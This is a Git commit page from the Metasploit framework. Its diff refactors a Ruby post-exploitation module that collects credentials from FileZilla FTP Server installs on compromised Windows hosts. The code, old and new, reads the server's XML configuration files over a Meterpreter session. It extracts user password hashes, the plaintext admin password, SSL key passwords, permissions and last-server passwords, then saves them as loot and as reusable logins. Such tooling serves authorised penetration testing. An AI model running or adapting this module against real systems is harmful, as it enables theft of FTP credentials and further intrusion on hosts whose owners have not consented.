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Land #5701, @g0tmi1k's filezilla_server refactor

bug/bundler_fix
William Vu 2015-07-29 11:13:22 -05:00
parent c46ce6c391 38e952ba07
commit ff9b975576
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
1 changed files with 188 additions and 142 deletions
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330
modules/post/windows/gather/credentials/filezilla_server.rb
View File

@ -11,22 +11,26 @@ class Metasploit3 < Msf::Post
include Msf::Post::File
def initialize(info={})
def initialize(info = {})
super( update_info(info,
'Name' => 'Windows Gather FileZilla FTP Server Credential Collection',
'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. },
'License' => MSF_LICENSE,
'Author' => ['bannedit'],
'Author' =>
[
'bannedit', # original idea & module
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter' ]
))
register_options(
[
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
], self.class)
register_options([
OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM
], self.class)
end
def run
if session.type != "meterpreter"
print_error "Only meterpreter sessions are supported by this post module"
@ -36,11 +40,10 @@ class Metasploit3 < Msf::Post
@progs = "#{session.sys.config.getenv('ProgramFiles')}\\"
filezilla = check_filezilla
if filezilla != nil
get_filezilla_creds(filezilla)
end
get_filezilla_creds(filezilla) if filezilla
end
def check_filezilla
paths = []
path = @progs + "FileZilla Server\\"
@ -55,26 +58,28 @@ class Metasploit3 < Msf::Post
end
session.fs.dir.foreach(path) do |fdir|
if fdir =~ /FileZilla\sServer.*\.xml/i
paths << path + fdir
['FileZilla Server.xml','FileZilla Server Interface.xml'].each do |xmlfile|
if fdir == xmlfile
filepath = path + xmlfile
vprint_status("Configuration file found: #{filepath}")
paths << filepath
end
end
end
if !paths.empty?
print_status("Found FileZilla Server")
print_line("")
paths << path + 'FileZilla Server.xml'
paths << path + 'FileZilla Server Interface.xml'
print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
print_line
return paths
end
return nil
end
def get_filezilla_creds(paths)
fs_xml = ""
fsi_xml = ""
fs_xml = "" # FileZilla Server.xml - Settings for the local install
fsi_xml = "" # FileZilla Server Interface.xml - Last server used with the interface
credentials = Rex::Ui::Text::Table.new(
'Header' => "FileZilla FTP Server Credentials",
'Indent' => 1,
@ -108,9 +113,9 @@ class Metasploit3 < Msf::Post
])
configuration = Rex::Ui::Text::Table.new(
'Header' => "FileZilla FTP Server Configuration",
'Indent' => 1,
'Columns' =>
'Header' => "FileZilla FTP Server Configuration",
'Indent' => 1,
'Columns' =>
[
"FTP Port",
"FTP Bind IP",
@ -122,11 +127,28 @@ class Metasploit3 < Msf::Post
"SSL Key Password"
])
file = session.fs.file.new(paths[1], "rb")
until file.eof?
fs_xml << file.read
lastserver = Rex::Ui::Text::Table.new(
'Header' => "FileZilla FTP Last Server",
'Indent' => 1,
'Columns' =>
[
"IP",
"Port",
"Password"
])
paths.each do |path|
file = session.fs.file.new(path, "rb")
until file.eof?
if path.include? "FileZilla Server.xml"
fs_xml << file.read
elsif path.include? "FileZilla Server Interface.xml"
fsi_xml << file.read
end
end
file.close
end
file.close
# user credentials password is just an MD5 hash
# admin pass is just plain text. Priorities?
@ -135,29 +157,24 @@ class Metasploit3 < Msf::Post
creds.each do |cred|
credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']]
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
service_data = {
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: config['ftp_port'],
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: config['ftp_port'],
service_name: 'ftp',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
jtr_format: 'raw-md5',
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :nonreplayable_hash,
private_data: cred['password'],
username: cred['user']
origin_type: :session,
jtr_format: 'raw-md5',
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :nonreplayable_hash,
private_data: cred['password'],
username: cred['user']
}
credential_data.merge!(service_data)
@ -166,56 +183,44 @@ class Metasploit3 < Msf::Post
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
perms.each do |perm|
permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'],
perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home']]
permissions << [perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'],
perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'],
perm['dirsubdirs'], perm['autocreate'], perm['home']]
end
vprint_status(" Collected the following configuration details:")
vprint_status(" FTP Port: %s" % config['ftp_port'])
vprint_status(" FTP Bind IP: %s" % config['ftp_bindip'])
vprint_status(" SSL: %s" % config['ssl'])
vprint_status(" Admin Port: %s" % config['admin_port'])
vprint_status(" Admin Bind IP: %s" % config['admin_bindip'])
vprint_status(" Admin Pass: %s" % config['admin_pass'])
vprint_line("")
session.db_record ? (source_id = session.db_record.id) : (source_id = nil)
configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'],
config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
if session.db_record
source_id = session.db_record.id
else
source_id = nil
end
# report the goods!
if config['admin_port'] == "<none>"
vprint_status("(No admin information found.)")
if config['ftp_port'] == "<none>"
vprint_status("Detected Default Adminstration Settings:")
config['ftp_port'] = "21"
else
vprint_status("Collected the following configuration details:")
service_data = {
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: config['admin_port'],
service_name: 'filezilla-admin',
protocol: 'tcp',
workspace_id: myworkspace_id
address: ::Rex::Socket.getaddress(session.sock.peerhost, true),
port: config['admin_port'],
service_name: 'filezilla-admin',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: config['admin_pass'],
username: 'admin'
origin_type: :session,
session_id: session_db_id,
post_reference_name: self.refname,
private_type: :password,
private_data: config['admin_pass'],
username: 'admin'
}
credential_data.merge!(service_data)
@ -224,70 +229,97 @@ class Metasploit3 < Msf::Post
# Assemble the options hash for creating the Metasploit::Credential::Login object
login_data ={
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
# Merge in the service data and create our Login
login_data.merge!(service_data)
login = create_credential_login(login_data)
end
vprint_status(" FTP Port: #{config['ftp_port']}")
vprint_status(" FTP Bind IP: #{config['ftp_bindip']}")
vprint_status(" SSL: #{config['ssl']}")
vprint_status(" Admin Port: #{config['admin_port']}")
vprint_status(" Admin Bind IP: #{config['admin_bindip']}")
vprint_status(" Admin Pass: #{config['admin_pass']}")
vprint_line
configuration << [config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'],
config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass']]
lastser = parse_interface(fsi_xml)
lastserver << [lastser['ip'], lastser['port'], lastser['password']]
vprint_status("Last Server Information:")
vprint_status(" IP: #{lastser['ip']}")
vprint_status(" Port: #{lastser['port']}")
vprint_status(" Password: #{lastser['password']}")
vprint_line
p = store_loot("filezilla.server.creds", "text/csv", session, credentials.to_csv,
"filezilla_server_credentials.csv", "FileZilla FTP Server Credentials")
print_status("Credentials saved in: #{p.to_s}")
p = store_loot("filezilla.server.perms", "text/csv", session, permissions.to_csv,
"filezilla_server_permissions.csv", "FileZilla FTP Server Permissions")
print_status("Permissions saved in: #{p.to_s}")
p = store_loot("filezilla.server.config", "text/csv", session, configuration.to_csv,
"filezilla_server_configuration.csv", "FileZilla FTP Server Configuration")
print_status(" Config saved in: #{p.to_s}")
print_status("Config saved in: #{p.to_s}")
p = store_loot("filezilla.server.lastser", "text/csv", session, lastserver.to_csv,
"filezilla_server_lastserver.csv", "FileZilla FTP Last Server")
print_status(" Last server history: #{p.to_s}")
print_line
end
def parse_server(data)
creds = []
perms = []
settings = {}
users = 0
passwords = 0
groups = []
perm = {}
settings = {}
users = 0
passwords = 0
doc = REXML::Document.new(data).root
begin
doc = REXML::Document.new(data).root
rescue REXML::ParseException => e
print_error("Invalid xml format")
end
items = doc.elements.to_a("//Settings//Item/")
settings['ftp_port'] = items[0].text rescue "<none>"
settings['admin_port'] = items[16].text rescue "<none>"
settings['admin_pass'] = items[17].text rescue "<none>"
settings['local_host'] = items[18].text rescue ""
settings['bindip'] = items[38].text rescue ""
settings['ssl'] = items[42].text rescue ""
opt = doc.elements.to_a("Settings/Item")
if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings
settings['admin_port'] = opt[0].text rescue "<none>"
settings['ftp_port'] = "<none>"
else
settings['ftp_port'] = opt[0].text rescue "<none>"
settings['admin_port'] = opt[16].text rescue "<none>"
end
settings['admin_pass'] = opt[17].text rescue "<none>"
settings['local_host'] = opt[18].text rescue ""
settings['bindip'] = opt[38].text rescue ""
settings['ssl'] = opt[42].text rescue ""
if settings['local_host'] # empty means localhost only * is 0.0.0.0
# empty means localhost only * is 0.0.0.0
if settings['local_host']
settings['admin_bindip'] = settings['local_host']
else
settings['admin_bindip'] = "127.0.0.1"
end
if settings['admin_bindip'] == "*"
settings['admin_bindip'] = "0.0.0.0"
end
settings['admin_bindip'] = "0.0.0.0" if settings['admin_bindip'] == "*" || settings['admin_bindip'].empty?
if settings['bindip']
settings['ftp_bindip'] = settings['bindip']
else
settings['ftp_bindip'] = "127.0.0.1"
end
# make the bindip a little easier to understand
if settings['ftp_bindip'] == "*"
settings['ftp_bindip'] = "0.0.0.0"
end
settings['ftp_bindip'] = "0.0.0.0" if settings['ftp_bindip'] == "*" || settings['ftp_bindip'].empty?
if settings['ssl'] == "1"
settings['ssl'] = "true"
@ -309,30 +341,28 @@ class Metasploit3 < Msf::Post
print_status("Looted SSL Certificate File")
end
if settings['ssl_certfile'].nil?
settings['ssl_certfile'] = "<none>"
end
settings['ssl_certfile'] = "<none>" if settings['ssl_certfile'].nil?
settings['ssl_keypass'] = items[50].text rescue "<none>"
settings['ssl_keypass'] = "<none>" if settings['ssl_keypass'].nil?
if settings['ssl_keypass'].nil?
settings['ssl_keypass'] = "<none>"
end
vprint_status("Collected the following credentials:") if doc.elements['Users']
doc.elements['Users'].elements.each('User') do |user|
doc.elements.each("Users/User") do |user|
account = {}
account['user'] = user.attributes['Name'] rescue "<none>"
users += 1
opt = user.elements.to_a("//User//Option/")
opt = user.elements.to_a("Option")
account['user'] = user.attributes['Name'] rescue "<none>"
account['password'] = opt[0].text rescue "<none>"
account['group'] = opt[1].text rescue "<none>"
account['group'] = opt[1].text rescue "<none>"
users += 1
passwords += 1
groups << account['group']
user.elements.to_a("//User//Permissions//Permission").each do |permission|
perm['user'] = account['user'] # give some context as to which user has these permissions
perm['dir'] = permission.attributes['Dir']
opt = permission.elements.to_a("//User//Permissions//Permission//Option")
user.elements.to_a("Permissions/Permission").each do |permission|
perm = {}
opt = permission.elements.to_a("Option")
perm['user'] = user.attributes['Name'] rescue "<unknown>"
perm['dir'] = permission.attributes['Dir'] rescue "<unknown>"
perm['fileread'] = opt[0].text rescue "<unknown>"
perm['filewrite'] = opt[1].text rescue "<unknown>"
perm['filedelete'] = opt[2].text rescue "<unknown>"
@ -342,53 +372,69 @@ class Metasploit3 < Msf::Post
perm['dirlist'] = opt[6].text rescue "<unknown>"
perm['dirsubdirs'] = opt[7].text rescue "<unknown>"
perm['autocreate'] = opt[9].text rescue "<unknown>"
perm['host'] = settings['ftp_bindip']
opt[8].text == "1" ? (perm['home'] = "true") : (perm['home'] = "false")
if opt[8].text == "1"
perm['home'] = "true"
else
perm['home'] = "false"
end
perms << perm
end
user.elements.to_a("//User//IpFilter//Allowed").each do |allowed|
user.elements.to_a("IpFilter/Allowed").each do |allowed|
end
user.elements.to_a("//User//IpFilter//Disallowed").each do |disallowed|
user.elements.to_a("IpFilter/Disallowed").each do |disallowed|
end
account['host'] = settings['ftp_bindip']
perm['host'] = settings['ftp_bindip']
account['port'] = settings['ftp_port']
account['ssl'] = settings['ssl']
creds << account
vprint_status(" Collected the following credentials:")
vprint_status(" Username: %s" % account['user'])
vprint_status(" Password: %s" % account['password'])
vprint_status(" Group: %s" % account['group'])
vprint_line("")
vprint_status(" Username: #{account['user']}")
vprint_status(" Password: #{account['password']}")
vprint_status(" Group: #{account['group']}") if account['group']
vprint_line
end
# Rather than printing out all the values, just count up
groups = groups.uniq unless groups.uniq.nil?
if !datastore['VERBOSE']
print_status(" Collected the following credentials:")
print_status(" Usernames: %u" % users)
print_status(" Passwords: %u" % passwords)
print_status(" Groups: %u" % groups.length)
print_line("")
print_status("Collected the following credentials:")
print_status(" Usernames: #{users}")
print_status(" Passwords: #{passwords}")
print_status(" Groups: #{groups.length}")
print_line
end
return [creds, perms, settings]
end
def got_root?
if session.sys.config.getuid =~ /SYSTEM/
return true
def parse_interface(data)
lastser = {}
begin
doc = REXML::Document.new(data).root
rescue REXML::ParseException => e
print_error("Invalid xml format")
end
return false
opt = doc.elements.to_a("Settings/Item")
lastser['ip'] = opt[0].text rescue "<none>"
lastser['port'] = opt[1].text rescue "<none>"
lastser['password'] = opt[2].text rescue "<none>"
lastser['password'] = "<none>" if lastser['password'].nil?
lastser
end
def got_root?
session.sys.config.getuid =~ /SYSTEM/ ? true : false
end
def whoami
return session.sys.config.getenv('USERNAME')
session.sys.config.getenv('USERNAME')
end
end